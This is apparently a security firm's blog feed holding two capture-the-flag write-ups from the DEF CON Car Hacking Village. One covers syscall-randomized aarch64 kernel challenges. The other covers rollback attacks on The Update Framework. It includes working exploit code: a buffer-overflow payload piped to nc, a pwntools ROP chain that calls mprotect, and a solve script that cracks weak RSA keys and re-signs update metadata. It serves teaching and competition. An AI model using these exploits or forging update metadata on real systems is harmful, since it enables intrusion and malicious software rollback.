Jacob Strieb – Red Balloon Security https://redballoonsecurity.com/ Defend From Within Thu, 21 Aug 2025 20:39:13 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.2 https://redballoonsecurity.com/wp-content/uploads/2021/11/RBS_logo_red-150x150.png Jacob Strieb – Red Balloon Security https://redballoonsecurity.com/ 32 32 Hacking Randomized Linux Kernel Images at the DEF CON 33 Car Hacking Village https://redballoonsecurity.com/2025-def-con-chv-ctf/ https://redballoonsecurity.com/2025-def-con-chv-ctf/#respond Thu, 21 Aug 2025 20:39:11 +0000 https://redballoonsecurity.com/?p=15140

Table of Contents

Hacking Randomized Linux Kernel Images at the DEF CON 33
Car Hacking Village

Red Balloon Security just wrapped up another trip to Las Vegas, Nevada, for DEF CON. This year, we brought three computer security challenges for the Car Hacking Village (CHV) Capture The Flag (CTF) competition.

Two of our challenges were geared towards beginners, and the third was intended to be more challenging. The three challenges gradually increased in difficulty, and were meant to be solved in order. All challenges could be found within the same firmware binary. In the end, the competition was fierce, and our challenges had several solves each.

The first challenge was a firmware unpacking problem with a cryptography component. The second challenge involved simple binary reverse engineering and exploitation. The third challenge featured much more advanced binary exploitation.

The third challenge was the highlight of our CTF work this year. It was built around Red Balloon’s recent research into system call (syscall) randomization. We took the system call numbers, and shuffled them in the syscall table in the kernel. We also changed every instance of a program making syscalls in userspace by walking the filesystem, statically analyzing, and finally patching executable binaries. We gave a talk about this syscall randomization research at ESCAR 2025.

The challenge itself involved exploiting a trivial buffer overflow in a userspace program. From there, a user could execute a ROP chain that would either let them read the flag directly, or run the mprotect syscall on a non-executable region that had code to print the flag, then branch there. Either way, participants needed a successful exploit and needed to find the syscall number for any call they wanted to use (by brute force, or using clever tricks).

In addition to the challenges in the CTF, we had a version of the syscall randomization challenge available with a $300 cash prize in $2 bills (it filled up a chalice on our table in the Car Hacking Village). Participants paid $1 into the jackpot to try their exploit, and the first successful solve won the whole pot. After some trial and error, and a lot of deliberating, a team of three was able to collect the cash.

Though it was also a fun way to draw interest and spice up the competition, the cash prize was designed to illustrate an important aspect of the challenge: system call randomization can make the act of exploiting a randomized system reduce to pure chance, even with a known vulnerability and exploit chain.

Challenge 1: XORry for being 4-getful

Challenge participants were given the following information:

  • Challenge category: reversing, crypto

  • Challenge description: I hope I removed everything I was supposed to before sending out the firmware. But if I forgot something, it’s encrypted anyway, so it’s probably fine.

  • Intended difficulty: easy

In addition to the information above, participants were provided with a file called firmware.bin that was actually a ZIP containing a kernel image, a filesystem, and a run script.

				
					firmware.bin
├── initrd
├── kernel
└── run.sh
				
			
The run script contained the following QEMU command to run the image in emulation:
				
					#!/bin/sh

# We're running a challenge server that connects to a QEMU process like this
# one and runs the kernel and initrd. But the syscalls have been scrambled!
# See if you can get your exploits to run even though the system call table
# numbers are randomized in the kernel. 
# 
# There are several different images running on the server, each with a
# different set of randomized syscalls.
#
# To connect to the challenge server, do:
# nc syscall-ctf.redballoonsecurity.com 9999
#
# Some amount of brute forcing may be necessary to get exploits using syscalls
# to work on the servers. Please be polite to other players.

qemu-system-aarch64 \
  -M virt \
  -cpu cortex-a57 \
  -nographic \
  -smp 1 \
  -m 512M \
  -kernel kernel \
  -initrd initrd \
  -append 'console=ttyAMA0 rw quiet'
				
			

If we drop the original firmware.bin file into OFRAK, we find an interesting file in the initrd whose name seems to match with the challenge title:

When we actually look at the contents of the file, we can see that it contains gibberish, much of which is in printable ASCII range (we would expect less than 50% to be in this range for random bytes or a well-encrypted binary).

The challenge information and filename hint that the file is encrypted with a repeating-key XOR. The following is a program (in Zig) that brute-forces repeating key XOR ciphertexts looking for printable ASCII text.

				
					const std = @import("std");

var stdout: @typeInfo(@TypeOf(std.fs.File.writer)).@"fn".return_type.? = undefined;
var ciphertext: []u8 = undefined;
var key: []u8 = undefined;
var best_score: u32 = 0;

fn score_char(c: u8) u32 {
    return switch (c) {
        'A'...'Z', 'a'...'z' => 3,
        ' ', '0'...'9' => 2,
        0x21...0x2F, 0x3A...0x40, 0x5B...0x60, 0x7B...0x7E => 1,
        0x0...0x1F, 0x7F...0xFF => 0,
    };
}

fn try_key(plaintext: []u8) !void {
    var score: u32 = 0;
    for (plaintext, ciphertext, 0..) |*p, c, i| {
        p.* = c ^ key[i % key.len];
        score += score_char(p.*);
    }
    if (score >= best_score) {
        best_score = score;
        try stdout.print("({s}) {s}\n---\n", .{ key, plaintext });
    }
}

fn try_all_keys(depth: u8, plaintext: []u8) !void {
    if (depth >= key.len) return try try_key(plaintext);
    for (0..256) |c| {
        key[depth] = @intCast(c);
        try try_all_keys(depth + 1, plaintext);
    }
}

pub fn main() !void {
    stdout = std.io.getStdOut().writer();

    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();
    const allocator = arena.allocator();

    const args = try std.process.argsAlloc(allocator);
    defer std.process.argsFree(allocator, args);

    if (args.len <= 1) {
        try stdout.print(
            "Usage: {s} <binary file path or hex bytes>\n",
            .{args[0]},
        );
        return;
    }

    ciphertext = std.fs.cwd().readFileAlloc(
        allocator,
        args[args.len - 1],
        1024 * 1024 * 1024 * 4,
    ) catch fromhex: {
        const cipher_hex = args[args.len - 1];
        const c = try allocator.alloc(u8, cipher_hex.len / 2);
        break :fromhex try std.fmt.hexToBytes(c, cipher_hex);
    };
    defer allocator.free(ciphertext);

    const key_full = try allocator.alloc(u8, ciphertext.len);
    defer allocator.free(key_full);
    const plaintext = try allocator.alloc(u8, ciphertext.len);
    defer allocator.free(plaintext);

    for (1..ciphertext.len + 1) |key_length| {
        key = key_full[0..key_length];
        try try_all_keys(0, plaintext);
    }
}

				
			

To run this code, we build it using Zig 0.14.1 with: zig build-exe -O ReleaseFast bruteforce.zig. After it is built, we can run it with ./bruteforce ./path_to_encrypted.bin.

There are some clever tricks that we could use to speed this up so it’s not pure brute force across all keys. But since we have it strongly implied from the challenge text that it’s a 4-byte repeating key XOR, we can just let it run for a while and keep the code simple.

Running it gives the following decrypted text:

				
					Congratulations on decrypting the first part of the Red Balloon DEF CON CTF challenge at the car hacking village! Here is your flag:

flag{345y_keyzy_th1s_j0k3_i$_ch33zy}
				
			

Challenge 2: r0p 2 the t0p

  • Challenge category: reversing, exploitation

  • Challenge description: I left some code in my binary to read the flag, but nobody can get to it, right?

  • Intended difficulty: easy/medium

In the unpacked firmware, we can use OFRAK to search the entire firmware for the flag prefix flag{. Doing so returns only one file: the init binary.

When we unpack the binary, there is one .text section – just one code region. Investigating that in OFRAK yields only a few functions.

Disassembling the function at 0x400048 gives a snippet that will print a flag. We can view the decompiled function in OFRAK.

				
					  4000e4: e8 04 80 d2   mov     x8, #39
  4000e8: 20 00 80 d2   mov     x0, #1
  4000ec: 21 01 00 58   ldr     x1, 0x400110 <.text+0x110>
  4000f0: 42 06 80 d2   mov     x2, #50
  4000f4: 01 00 00 d4   svc     #0
  4000f8: c0 03 5f d6   ret
				
			

Disassembling the function at 0x400048 returns a function with a trivial stack buffer overflow vulnerability that we can exploit.

To change the control flow, and get the print flag function to execute, all we need to do is pass an input string large enough to overflow the buffer. Then the last few bytes of the input are the return address we want to overwrite on the stack so that control flow returns to the print flag function.

				
					(
  sleep 4
  python3 -c '
import sys, struct; 
sys.stdout.buffer.write(b"A" * 88 + struct.pack("<Q", 0x4000e4) + b"\n")
'
  sleep 1
) \
  | nc syscall-ctf.redballoonsecurity.com 9999 \
  | head -c 1024
				
			

This prints the flag.

				
					Node ID: 50c925d7
Starting QEMU...

Welcome to RBS SCR CTF, Please input anything and it will echo back.
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^@@^@^@^@^@^@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mp%

				
			

Challenge 3: Can’t stop the r0p

    • Challenge category: reversing, exploitation

    • Challenge description: I left more code to read the flag, but it’s not marked executable, so there is no way anyone can run it, right? (A little brute force required)

    • Intended difficulty: hard

Either using OFRAK or another disassembly tool, we notice that there is a non-executable section in the binary called .shellcode.

If we look at cross-references for the flag strings in the binary, the references to the first flag come from the function we just jumped to to print the flag in challenge 2. But the references to the second flag come from this non-executable section of code.

				
					$ objdump -j .shellcode -d init

init:   file format elf64-littleaarch64

Disassembly of section .shellcode:

0000000000402000 <.shellcode>:
  402000: e8 04 80 d2   mov     x8, #39
  402004: 20 00 80 d2   mov     x0, #1
  402008: c1 00 00 58   ldr     x1, 0x402020 <.shellcode+0x20>
  40200c: 62 06 80 d2   mov     x2, #51
  402010: 01 00 00 d4   svc     #0
  402014: 08 00 80 92   mov     x8, #-1
  402018: 00 00 80 d2   mov     x0, #0
  40201c: 01 00 00 d4   svc     #0
  402020: 7e 10 40 00   <unknown>
  402024: 00 00 00 00   udf     #0
				
			

Disassembling this section, it appears to be very similar to the function we jumped to before, just with a different flag address. In order to jump here, we first need to mark the section as executable. To do this, we use a ROP chain to run the mprotect syscall. There is only one problem: the syscall numbers have been scrambled, and we don’t know which one corresponds to the mprotect syscall!

To find the mprotect syscall number, we will have to turn to brute force. There are several different randomized images on the server, and each time we connect, we get a different one. So instead of iterating the numbers and counting up until we hit the right one, we will just try a random number every time we connect until we get the flag.

				
					#!/usr/bin/env python3
import random
import struct
import re
import time
from pwn import remote

def wait_for_input_prompt(conn):
    buffer = b""
    start_time = time.time()
    while time.time() - start_time < 30:
        data = conn.recv(1024, timeout=1)
        if not data:
            continue
        buffer += data
        if b"Input:" in buffer:
            return True
    return False

def build_rop_chain(sys_mprotect):
    TEXT_BASE = 0x400000
    SHELLCODE_BASE = 0x402000
    PAGE_SIZE = 0x1000
    PROT_RWX = 7
    
    gadgets = {
        'pop_x8': 0x4000c0,
        'pop_x0': 0x400090,
        'pop_x1': 0x4000a0,
        'pop_x2': 0x4000b0,
        'svc': 0x4000d0,
        'final_jump': 0x4000e0,
    }
    
    rop_chain = []
    rop_chain.append(gadgets['pop_x8'])
    rop_chain.append(sys_mprotect)
    rop_chain.append(gadgets['pop_x0'])
    rop_chain.append(SHELLCODE_BASE)
    rop_chain.append(gadgets['pop_x1'])
    rop_chain.append(PAGE_SIZE)
    rop_chain.append(gadgets['pop_x2'])
    rop_chain.append(PROT_RWX)
    rop_chain.append(gadgets['svc'])
    rop_chain.append(gadgets['pop_x0'])
    rop_chain.append(SHELLCODE_BASE)
    rop_chain.append(gadgets['final_jump'])
    
    return rop_chain

def build_payload():
    sys_mprotect = random.randint(1, 300)
    payload = b'A' * 88
    rop_chain = build_rop_chain(sys_mprotect)
    for addr in rop_chain:
        payload += struct.pack('<Q', addr)
    return payload

def main():
    while True:
        conn = remote('syscall-ctf.redballoonsecurity.com', 9999)
        if not wait_for_input_prompt(conn):
            print("Failed to get input prompt")
            conn.close()
            time.sleep(3)
            continue
        
        payload = build_payload()
        conn.send(payload + b"\n")
        time.sleep(1.0)
        
        try:
            response = conn.recv(1024, timeout=10)
            print(f"Response: {response}")
            time.sleep(0.2)
            
            if b'flag' in response:
                print("SUCCESS! Found flag")
                conn.close()
                break
        except:
            print("No response or timeout")
        
        conn.close()

if __name__ == "__main__":
    main()
				
			

Running this takes a little while, but eventually prints out a flag from a successful exploit:

				
					[+] ing connection to syscall-ctf.redballoonsecurity.com on port 9999: Done
Response: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0^@@^@^@^@^@^@M^@^@^@^@^@^@^@\x90^@@^@^@^@^@^@^@ @^@^@^@^@^@\xa0^@@^@^@^@^@^@^@^P^@^@^@^@^@^@\xb0^@@^@^@^@^@^@^G^@^@^@^@^@^@^@\xd0^@@^@^@^@^@^@\x90^@@^@^@^@^@^@^@ @^@^@^@^@^@\xe0^@@^@^@^@^@^@\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\x00@\x00\x00\x00\x00\x00M\x00\x00\x00\x00\x00\x00\x00\x90\x00@\x00\x00\x00\x00\x00\x00 @\x00\x00\x00\x00\x00\xa0\x00@\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\xb0\x00@\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\xd0\x00@\x00\x00\x00\x00\x00\x90\x00@\x00\x00\x00\x00\x00\x00 @\x00\x00\x00\x00\x00\xe0\x00@\x00\x00\x00\x00\x00\r\nflag{ROP_ch4in_t0_m4k3_sh3llc0d3_3x3cut4bl3_4rm64}\r\n[    2.539538] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004\r\n[    2.541702] CPU: 0 PID: 1 Comm: init Tainted: G        W         5.10.192 #1\r\n[    2.542050] Hardware name: linux,dummy-virt (DT)\r\n[    2.542701] Call trace:\r\n[    2.543788]  dump_backtrace+0x0/0x1e0\r\n[    2.544300]  show_stack+0x30/0x40\r\n[    2.544512]  dump_stack+0xf0/0x130\r\n[    2.544713]  panic+0x1a4/0x38c\r\n[    2.544898]  do_exit+0xafc/0xb00\r\n[    2.545063]  do_group_exit+0x4c/0xb0\r\n[    2.545240]  get_signal+0x184/0x8c0\r\n['
SUCCESS! Found flag
[*] Closed connection to syscall-ctf.redballoonsecurity.com port 9999
				
			
]]>
https://redballoonsecurity.com/2025-def-con-chv-ctf/feed/ 0 15140
Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village https://redballoonsecurity.com/dc32-car-hacking-ctf/ https://redballoonsecurity.com/dc32-car-hacking-ctf/#respond Sun, 18 Aug 2024 20:47:08 +0000 https://redballoonsecurity.com/?p=10068

Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village

Red Balloon Security recently returned from the DEF CON hacking conference in Las Vegas, where, among other activities, we brought two computer security challenges to the Car Hacking Village (CHV) Capture The Flag (CTF) competition. The grand prize for the competition was a 2021 Tesla, and second place was several thousand dollars of NXP development kits, so we wanted to make sure our challenge problems were appropriately difficult. This competition was also a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.

The goal of our challenges was to force competitors to learn about secure software updates and The Update Framework (TUF), which is commonly used for securing software updates. We originally wanted to build challenge problems around defeating Uptane, an automotive-specific variant of TUF, however, there is no well-supported, public version of Uptane that we could get working, so we built the challenges around Uptane’s more general ancestor TUF instead. Unlike Uptane, TUF is well-supported with several up-to-date, maintained, open source implementations.

Our two CTF challenges were designed to be solved in order – the first challenge had to be completed to begin the second. Both involved circumventing the guarantees of TUF to perform a software rollback.

Besides forcing competitors to learn the ins and outs of TUF, the challenges were designed to impress upon them that software update frameworks like TUF are only secure if they are used properly, and if they are used with secure cryptographic keys. If either of these assumptions is violated, the security of software updates can be compromised.

Both challenges ran on a Rivain Telematics Control Module (TCM) at DEF CON.

Challenge 1: Secure Updates are TUF

Challenge participants were given the following information:

  • Category: exploitation, reverse engineering

  • Description: I set up secure software updates using TUF. That way nobody can do a software rollback! Right? To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: easy

  • Solve Criteria: found flag

  • Tools Required: none

In addition to the description above, participants were given a tarball with the source of the software update script using the python-tuf library, and the TUF repository with the signed metadata and update files served over HTTP to the challenge server, which acts as a TUF client.

The run.sh script to start up the TUF server and challenge server:

				
					#!/bin/sh

set -euxm

# tuf and cryptography dependencies installed in virtual environment
source ~/venv/bin/activate

(python3 -m http.server --bind 0 --directory repository/ 38001 2>&1) | tee /tmp/web_server.log &

while sleep 3; do 
  python3 challenge_server.py --tuf-server http://localhost:38001 --server-port 38002 || fg
done

				
			

The main challenge_server.py:

				
					#!/usr/bin/env -S python3 -u
"""
Adapted from:
https://github.com/theupdateframework/python-tuf/tree/f8deca31ccea22c30060f259cb7ef2588b9c6baa/examples/client
"""


import argparse
import inspect
import json
import os
import re
import socketserver
import sys
from urllib import request

from tuf.ngclient import Updater


def parse_args():
    parser = argparse.ArgumentParser()
    for parameter in inspect.signature(main).parameters.values():
        if parameter.name.startswith("_"):
            continue
        if "KEYWORD" in parameter.kind.name:
            parser.add_argument(
                "--" + parameter.name.replace("_", "-"),
                default=parameter.default,
            )
    return parser.parse_args()


def semver(s):
    return tuple(s.lstrip("v").split("."))


def name_matches(name, f):
    return re.match(name, f)


def readline():
    result = []
    c = sys.stdin.read(1)
    while c != "\n":
        result.append(c)
        c = sys.stdin.read(1)
    result.append(c)
    return "".join(result)


class Handler(socketserver.BaseRequestHandler):
    def __init__(self, *args, tuf_server=None, updater=None, **kwargs):
        self.tuf_server = tuf_server
        self.updater = updater
        super().__init__(*args, **kwargs)

    def handle(self):
        self.request.settimeout(10)
        os.dup2(self.request.fileno(), sys.stdin.fileno())
        os.dup2(self.request.fileno(), sys.stdout.fileno())

        print("Welcome to the firmware update admin console!")
        print("What type of firmware would you like to download from the TUF server?")
        print(
            "Whichever type you pick, we will pull the latest version from the server."
        )
        print("Types:")
        with request.urlopen(f"{self.tuf_server}/targets.json") as response:
            targets = json.load(response)
        all_target_files = list(targets["signed"]["targets"].keys())
        print("-", "\n- ".join({file.split("_")[0] for file in all_target_files}))

        print("Enter type name: ")
        name = readline().strip()
        if "." in name:
            # People were trying to bypass our version check with regex tricks! Not allowed!
            print("Not allowed!")
            return
        filenames = list(
            sorted(
                [f for f in all_target_files if name_matches(name, f)],
                key=lambda s: semver(s),
            )
        )
        if len(filenames) == 0:
            print("Sorry, file not found!")
            return
        filename = filenames[-1]

        print(f"Downloading {filename}")

        info = self.updater.get_targetinfo(filename)
        if info is None:
            print("Sorry, file not found!")
            return

        with open("/dev/urandom", "rb") as f:
            name = f.read(8).hex()
        path = self.updater.download_target(
            info,
            filepath=f"/tmp/{name}.{os.path.basename(info.path)}",
        )
        os.chmod(path, 0o755)

        print(f"Running {filename}")
        child = os.fork()
        if child == 0:
            os.execl(path, path)
        else:
            os.wait()
            os.remove(path)


def main(tuf_server="http://localhost:8001", server_port="8002", **_):
    repo_metadata_dir = "/tmp/tuf_server_metadata"
    if not os.path.isdir(repo_metadata_dir):
        if os.path.exists(repo_metadata_dir):
            raise RuntimeError(
                f"{repo_metadata_dir} already exists and is not a directory"
            )
        os.mkdir(repo_metadata_dir)
        with request.urlopen(f"{tuf_server}/root.json") as response:
            root = json.load(response)
        with open(f"{repo_metadata_dir}/root.json", "w") as f:
            json.dump(root, f, indent=2)

    updater = Updater(
        metadata_dir=repo_metadata_dir,
        metadata_base_url=tuf_server + "/metadata/",
        target_base_url=tuf_server + "/targets/",
    )
    updater.refresh()

    def return_handler(*args, **kwargs):
        return Handler(*args, **kwargs, tuf_server=tuf_server, updater=updater)

    print("Running server")
    with socketserver.ForkingTCPServer(
        ("0", int(server_port)), return_handler
    ) as server:
        server.serve_forever()


if __name__ == "__main__":
    main(**parse_args().__dict__)

				
			

Also included were TUF-tracked files tcmupdate_v0.{2,3,4}.0.py.

The challenge server waits for TCP connections. When one is made, it prompts for a software file to download. Then it checks the TUF server for all versions of that file (using the user input in a regular expression match), and picks the latest based on parsing its version string (for example filename_v0.3.0.py parses to (0, 3, 0) ). Once it has found the latest file, it downloads it using the TUF client functionality from the TUF library.

The goal of this challenge is to roll back from version 0.4.0 to version 0.3.0. The key to solving this challenge is to notice the following code:

				
					# ...

def semver(s):
    return tuple(s.lstrip("v").split("."))

def name_matches(name, f):
    return re.match(name, f)

def handle_tcp():
    # ...

    name = readline().strip()
    if "." in name:
        # People were trying to bypass our version check with regex tricks! Not allowed!
        print("Not allowed!")
        return

    filenames = list(
        sorted(
            [f for f in all_target_files if name_matches(name, f)],
            key=lambda s: semver(s),
        )
    )
    if len(filenames) == 0:
        print("Sorry, file not found!")
        return
    filename = filenames[-1]

    # ...

				
			

This code firsts filters using the regular expression, then sorts based on the version string to find the latest matching file. Notably, the name input is used directly as a regular expression.

To circumvent the logic for only downloading the latest version of a file, we can pass an input regular expression that filters out everything except for the version we want to run. Our first instinct might be to use a regular expression like the following:

tcmupdate.*0\.3\.0.*

If we try that, however, we hit the case where any input including a . character is blocked. We now need to rewrite the regular expression to match only tcmupdate_v0.3.0, but without including the . character. One of many possible solutions is:

tcmupdate_v0[^a]3[^a]0

Since the . literal is a character that is not a, the [^a] expression will match it successfully without including it directly. This input gives us the flag.

flag{It_T4ke$-More-Than_just_TUF_for_secure_updates!}

Challenge 2: One Key to Root Them All

Challenge participants were given the following information:

  • Name: One Key to Root Them All

  • Submitter: Jacob Strieb @ Red Balloon Security

  • Category: crypto, exploitation

  • Description: Even if you roll back to an old version, you’ll never be able to access the versions I have overwritten! TUF uses crypto, so it must be super secure. You will need to have solved the previous challenge to progress to this one. To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: shmedium to hard

  • Solve Criteria: found flag

  • Tools Required: none

Challenge 2 can only be attempted once challenge 1 has been completed. When challenge 1 is completed, it runs tcmupdate_v0.3.0.py on the target TCM. This prompts the user for a new TUF server address to download files from, and a new filename to download and run. The caveat is that the metadata from the original TUF server is already trusted locally, so attempts to download from a TUF server with new keys will be rejected.

In the challenge files repository/targets subdirectory, there are two versions of tcmupdate_v0.2.0.py. One of them is tracked by TUF, the other is no longer tracked by TUF. The goal is to roll back to the old version of tcmupdate_v0.2.0.py that has been overwritten and is no longer a possible target to download with the TUF downloader.

The challenge files look like this:

				
					ctf/
├── challenge_server.py
├── flag_1.txt
├── flag_2.txt
├── repository
│   ├── 1.root.json
│   ├── 1.snapshot.json
│   ├── 1.targets.json
│   ├── 2.snapshot.json
│   ├── 2.targets.json
│   ├── metadata -> .
│   ├── root.json
│   ├── snapshot.json
│   ├── targets
│   │   ├── 870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py
│   │   ├── 9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a.tcmupdate_v0.2.0.py
│   │   ├── 481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872.tcmupdate_v0.3.0.py
│   │   └── bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57.tcmupdate_v0.4.0.py
│   ├── targets.json
│   └── timestamp.json
├── requirements.txt
└── run.sh

				
			

The latest version of the TUF targets.json file is only tracking the 9bbef3... hash version of the tcmupdate_v0.2.0.py file.

				
					{
  "signed": {
    "_type": "targets",
    "spec_version": "1.0",
    "version": 2,
    "expires": "2024-10-16T21:11:07Z",
    "targets": {
      "tcmupdate_v0.2.0.py": {
        "length": 54,
        "hashes": {
          "sha512": "9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a"
        }
      },
      "tcmupdate_v0.3.0.py": {
        "length": 1791,
        "hashes": {
          "sha512": "481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872"
        }
      },
      "tcmupdate_v0.4.0.py": {
        "length": 125,
        "hashes": {
          "sha512": "bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57"
        }
      }
    }
  },
  "signatures": [
    {
      "keyid": "f1f66ca394996ea67ac7855f484d9871c8fd74e687ebab826dbaedf3b9296d14",
      "sig": "1bc2be449622a4c2b06a3c6ebe863fad8d868daf78c1e2c2922a2fe679a529a7db9a0888cd98821a66399fd36a4d5803d34c49d61b21832ff28895931539c1cca118b299c995bcd1f7b638803da481cf253e88f4e80d62e7abcc39cc92899cc540be901033793fae9253f41008bc05f70d93ef569c0d6c09644cd7dfb758c2b71e2332de7286d15cc894a51b6a6363dcde5624c68506ea54a426f7ae9055f01760c6d53f4f4f68589d89f31a01e08d45880bc28a279f8621d97ab7223c4d41ecb077176af5dd27d5c07379d99898020b23cd733e"
    }
  ]
}

				
			

Thus, in order to convince the TUF client to download the old version of tcmupdate_v0.2.0.py from a TUF file server we control, we will need to insert the correct hash into targets.json. But if we do that, we will need to resign targets.json, then rebuild and resign snapshot.json, then rebuild and resign timestamp.json. None of these things can be accomplished without the private signing key. This means that we need to crack the signing keys in order to rebuild updated TUF metadata. Luckily, inspecting the root.json file to learn about the keys indicates that the targets, snapshot, and timestamp roles all use the same RSA public-private keypair.

The key for this keypair is generated using weak RSA primes that are close to one another. This makes the key vulnerable to a Fermat factoring attack. The attack can either be performed manually using this technique, or can be performed automatically by a tool like RsaCtfTool.

After the key is cracked, we have to rebuild and resign all of the TUF metadata in sequence. This is most easily done using the go-tuf CLI from version v0.7.0 of the go-tuf library.

go install github.com/theupdateframework/go-tuf/cmd/[email protected]

This CLI expects the keys to be in JSON format and stored in the keys subdirectory (sibling directory of the repository directory). A quick Python script will convert our public and private keys in PEM format into the expected JSON.

				
					import base64
import json
import os
import sys
from nacl.secret import SecretBox
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

if len(sys.argv) < 3:
    sys.exit(f"{sys.argv[0]} <privkey> <pubkey>")

with open(sys.argv[1], "r") as f:
    private = f.read()

with open(sys.argv[2], "r") as f:
    public = f.read()

plaintext = json.dumps(
    [
        {
            "keytype": "rsa",
            "scheme": "rsassa-pss-sha256",
            "keyid_hash_algorithms": ["sha256", "sha512"],
            "keyval": {
                "private": private,
                "public": public,
            },
        },
    ]
).encode()

with open("/dev/urandom", "rb") as f:
    salt = f.read(32)
    nonce = f.read(24)
n = 65536
r = 8
p = 1

kdf = Scrypt(
    length=32,
    salt=salt,
    n=n,
    r=r,
    p=p,
)
secret_key = kdf.derive(b"redballoon")

box = SecretBox(secret_key)
ciphertext = box.encrypt(plaintext, nonce).ciphertext

print(
    json.dumps(
        {
            "encrypted": True,
            "data": {
                "kdf": {
                    "name": "scrypt",
                    "params": {
                        "N": n,
                        "r": r,
                        "p": p,
                    },
                    "salt": base64.b64encode(salt).decode(),
                },
                "cipher": {
                    "name": "nacl/secretbox",
                    "nonce": base64.b64encode(nonce).decode(),
                },
                "ciphertext": base64.b64encode(ciphertext).decode(),
            },
        },
        indent=2,
    )
)

				
			

Once we have converted all of the keys to the right format, we can run a sequence of TUF CLI commands to rebuild the metadata correctly with the cracked keys.

				
					mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

				
			

Then we run our own TUF HTTP fileserver, and point the challenge server at it to get the flag.

flag{Th15_challenge-Left_me-WE4k_in-the_$$KEYS$$}

The final solve script might look something like this:

				
					#!/bin/bash

set -meuxo pipefail

tar -xvzf rbs-chv-ctf-2024.tar.gz
cd ctf

cat repository/root.json \
  | jq \
  | grep -i 'public key' \
  | sed 's/[^-]*\(-*BEGIN PUBLIC KEY-*.*-*END PUBLIC KEY-*\).*/\1/g' \
  | sed 's/\\n/\n/g' \
  > public.pem

python3 ~/Downloads/RsaCtfTool/RsaCtfTool.py --publickey public.pem --private --output private.pem

mkdir -p keys
python3 encode_key_json.py private.pem public.pem > keys/snapshot.json
cp keys/snapshot.json keys/targets.json
cp keys/snapshot.json keys/timestamp.json

mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

python3 -m http.server --bind 0 --directory repository/ 8003 &
sleep 3
(
  echo 'tcmupdate_v0[^a]3'
  sleep 3
  echo 'http://172.28.2.169:8003'
  echo 'tcmupdate_v0.2.0.py'
) | nc 172.28.2.64 38002

kill %1

				
			

Conclusion

